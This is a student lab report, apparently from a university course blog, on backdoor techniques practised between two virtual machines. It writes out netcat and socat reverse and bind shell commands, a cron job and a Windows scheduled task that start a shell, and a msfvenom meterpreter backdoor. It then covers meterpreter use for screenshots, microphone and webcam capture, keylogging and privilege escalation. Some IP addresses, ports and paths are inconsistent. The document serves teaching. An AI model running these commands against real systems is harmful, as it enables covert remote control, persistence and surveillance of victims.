• 2018-2019-2 20165216《网络对抗技术》 Exp2 后门原理实践


    2018-2019-2 20165216 《网络对抗技术》 Exp2 后门原理与实践

    实验要求

    1:使用netcat获取主机操作Shell,cron启动(0.5分)

    2:使用socat获取主机操作Shell,任务计划启动(0.5分)

    3:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

    4:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

    5:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告

    实验环境

    • Windows 7 x64(关闭防火墙)
    • Linux kali 64
    • 相互ping通
    • Win7 ip:192.168.242.132
    • kali ip:192.168.242.130

    实验准备

    • netcat
    • socat
    • meterpreter

    netcat以及socat需要下载解压,netcat在linux为ncat

    实验步骤

    1.使用netcat获取主机操作Shell,cron启动

    1.1 win7扮演攻击者,linux为被攻击者。cron启动

    • win7攻击者启动监听,并设置端口号,我们这设置为9999.具体命令为 [ ncat.exe -l -p 9999 ]

    • kali中输入命令[nc 192.168.242.130 9999 -e /bin/sh]

    • WIN7获取linux shell

    1.2 小结

    此种获取shell是一种反弹连接,攻击者(win7)开放端口监听,受害者连接端口。并执行 /bin/sh

    注释:

    • nc-e 在连接后指定要执行的文件名(小心使用)。有关增强功能,请参阅-c选项。
    • sh或是执行脚本,或是切换到sh这个bash里,默认的shell是bash,linux中sh是链接到bash上的,所以sh与bash在功能上是没有区别的。

    1.3 linux扮演攻击者,Win7扮演受害者

    • linux进行端口监听,输入命令 nc -l -p 9999,端口号同样为9999

    • 受害者Win7进行反弹连接,在解压目录 ncat下输入 [ncat.exe -e cmd.exe 192.242.132 9999]

    • linux获取Win7的cmd命令窗口

    1.4 小结

    • 同样是建立端口监听,Win7是ncat,linux是nc,实际是一个意思,在linux中可用 man nc 进行查看。
    • 反弹命令在解压目录下进行

    1.5 Cron定时命令配置,Win7为攻击者,linux为受害者

    • Win7为攻击者设置端口监听

    • 切换至linux kali终端

    • 用 crontab -e 指令增加定时任务

    • 在最后一行添加命令 12 * * * * /bin/netcat 192.168.242.132 -e /bini/sh

    • 可用 crontab -l 查看

    1.6小结

    • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

    • 可以" man cron "。这里的cron启动时去让linux受害者去定时反弹连接win7。

    • 格式# m分钟 h小时 dom日期 mon月 dow周几 command执行的命令

    • 第一个12位分钟,后4个*分别对应h dom mon dow

    2.使用socat获取主机操作Shell.任务计划启动

    2.1前言

    在 1.5 之中,我们使用了linux中的定时器执行反弹执行,在此环节中,我们将使用Win7系统里的任务启动计划,定时反弹!此时我们使用socat进行操作,实验开始之前请提前下载解压好socat.
    socat详细用法可使用 man socat 命令查看

    2.2 Win7定时配置大法好!

    • 打开Win7控制面板

    • 点击系统与安全中的计划任务

    • 选择创建任务,在常规名称内填入标识,方便认知(虽然此Win7干净的很,没有别的任务,尊重流程就好了)

    • 触发器的开始任务选择工作站锁定时

    • 进入操作选项卡中,程序路径选择socat解压目录

    • 参数栏选择填入[tcp-listen:5216 exec:cmd.exe,pty,stderr],保存!

    • 点击任务计划程序库,找到所创建的任务

    • 运行任务,切换至kali!

    • 终端输入命令 socat - tcp:192.168.242.130:5216命令

    • 成功获得cmd shell!

    2.3 小结

    • 工作站锁定时可以理解为锁屏,好偷偷的进行,在锁屏时触发。

    tcp-listen:5216 exec:cmd.exe,pty,stderr

    • 以tcp传输方式的监听
    • 端口号5216
    • 绑定目标类型exe的cmd至端口5216
    • 将cmd.exe的stderr重定向到stdout上

    3.后门生成程序的故事(转载)

    3.1后门是什么?

    后门就是不经过正常认证流程而访问系统的通道。

    3.2 哪里有后门?

    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 还有就是潜伏于操作系统中或伪装为特定应用的专门后门程序

    3.3例子

    编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。

    操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。

    操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。

    固件:更多思科路由器发现后门:中国有4台

    应用:研究人员发现macOS版Skype内置了后门
    应用:从广升“后门”事件看企业道德底线

    应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

    3.4后门生成程序是什么?

    • 传统的理解是:有人编写一个后门程序,大家拿来用。
    • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
      • 基本功能(基本的连接、执行指令)
      • 扩展功能(如搜集用户信息、安装服务等功能)
      • 编码模式
      • 运行平台
      • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

    3.5典型平台有哪些?

    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion

    4.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    4.1后门程序的生成

    • 进入kali终端

    • 输入命令 [msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.130 LPORT=5216 -f exe > 20165216_backdoor.exe]生成一个后门程序

    • 切换至WIn7命令行

    • 输入命令 [ncat -l 5216 > 20165216backdoor.exe]
      监听并接受数据写入20165216backdoor.exe文件

    • 切换至kali

    • 终端输入命令[ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe]将后门程序进行传输

    • kali端显示 UNKOWN,不用管

    • 关闭两台虚拟机设备的终端

    • 可进入Win7文件夹中查看是否传输完成

    • 确定传输完成后切换至kali终端

    • 现在我们要操作起来了

    • 输入命令 [msfconsole]

    • 再依次输入命令

    • use exploit/multi/handler

    • set payload windows/meterpreter/reverse_tcp

    • set LHOST 192.168.242.130 //注意此处应为Linux的IP!

    • set LPORT 5216 //后门程序里的端口号

    • show options

    • exploit

    • 切换至Win7运行刚刚传输过去的后门程序

    • 返回kali

    • 恭喜我们的kali同志成功窃取Win7的cmd.exe!

    4.2小结

    • 关于简单生成后门程序命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe
      • -p :使用的payload。payload翻译为有效载荷,就是被运输有东西。
      • 这里windows/meterpreter/reverse_tcp就是一段shellcode
      • LHOST 攻击者主机
      • LPORT 监听端口
      • -f 生成文件的类型,在这里我们是.exe
      • 输出定向

    5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    5.1 夺取cmd.exe控制权

    假如上面做到的没有关闭就不用再来一遍,关闭了得重新来一遍
    ps:假如不想用命令传后门程序,直接拖过去复制也行。

    5.2 获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    5.21 获取截屏
    • 在4的结果基础上输入命令:[screenshot]

    • 查看相关截图

    5.22 获取音频
    • 命令 :[record_mic]

    • 查看结果

    获取摄像头和录像
    • webcam_snap/webcam_stream

    • 查看结果

    ps:若出现错误1411,在Win7中装驱动,具体在右下角那个照相机图标的,点击连接

    5.22 获取进程
    • 命令 ps

    • 查看结果

    5.23 获取用户名以及相关权限
    • 命令getuid

    • 查看结果

    5.24 获取目标系统的系统,机器名、操作系统等
    • 命令 sysinfo

    • 查看结果

    5.25移植伪装
    • 使用命令 migrate [],复制msf会话至其他进程
    5.25 进行交互
    • 使用命令 execute -H -i -f cmd.exe

    • 查看结果

    5.26 权限提升
    • 使用命令 getsystem
    • 使用getuid查看权限
    5.27 击键记录
    • 使用命令run post/windows/capture/keylog_recorder

    • ctrl + c 结束记录

    • 查看结果

    5.3 小结

    • migrate移植功能是很有必要的,可以将其绑定与一个系统进行中,(这里我们选择的是exploer.exe),可以防止程序被关闭而导致后门结束(如IE浏览器)
    • 具体命令可以在进入4的结果之后,输入help查看更多命令

    基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

    绑定下载,不可信软件下载源

    例举你知道的后门如何启动起来(win及linux)的方式?

    • 修改注册表,修改名称为系统进程相识ID
    • 绑定,装了什么软件自动绑定在上面的,比如很多单机游戏,游戏启动了,他也就在运行了

    Meterpreter有哪些给你映像深刻的功能?

    帮别人关机挺有意思的,还有从他那下/传软件

    如何发现自己有系统有没有被安装后门?

    • 杀毒软件查杀
    • 流量监控,多查看锁屏状态下/深夜的流量情况(有难度)

    实验总结与体会

    本次实验让我简单了解到了什么是后门。get了一个后门生成程序。虽然在实际操作中偶有混淆IP地址,但问题不大,在前人大佬们的肩膀之上没有遇到不可预期的错误(关闭了防火墙、关闭了杀毒软件)。不论是不明白参数的功能以及如何使用某个功能,man 以及 help 以及百度翻译软件是真的好用!当然,关于更实际的应用,有很多限制,想要应用(没别的意思)还得多加努力学习。

    / * 以上内容多有参考码云,链接:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x21_MAL_后门原理与实践.md
    博客园 :https://www.cnblogs.com/FenixRen/p/10562400.html
    非常感谢其提供的参考*/

  • 相关阅读:
    PTA乙级 (*1034 有理数四则运算 (20分)(string.append()))
    Nginx反向代理部署Node.js应用配置方法
    js处理字符串的用法小结
    从零开始基于webpack搭建react全家桶
    Linux常用指令
    matplotlib作图时中文字体乱码解决办法
    大话数据结构 串
    大话数据结构 队列
    大话数据结构 栈
    大话数据结构 线性表
  • 原文地址:https://www.cnblogs.com/qq2497879550/p/10588682.html
Copyright © 2020-2023  润新知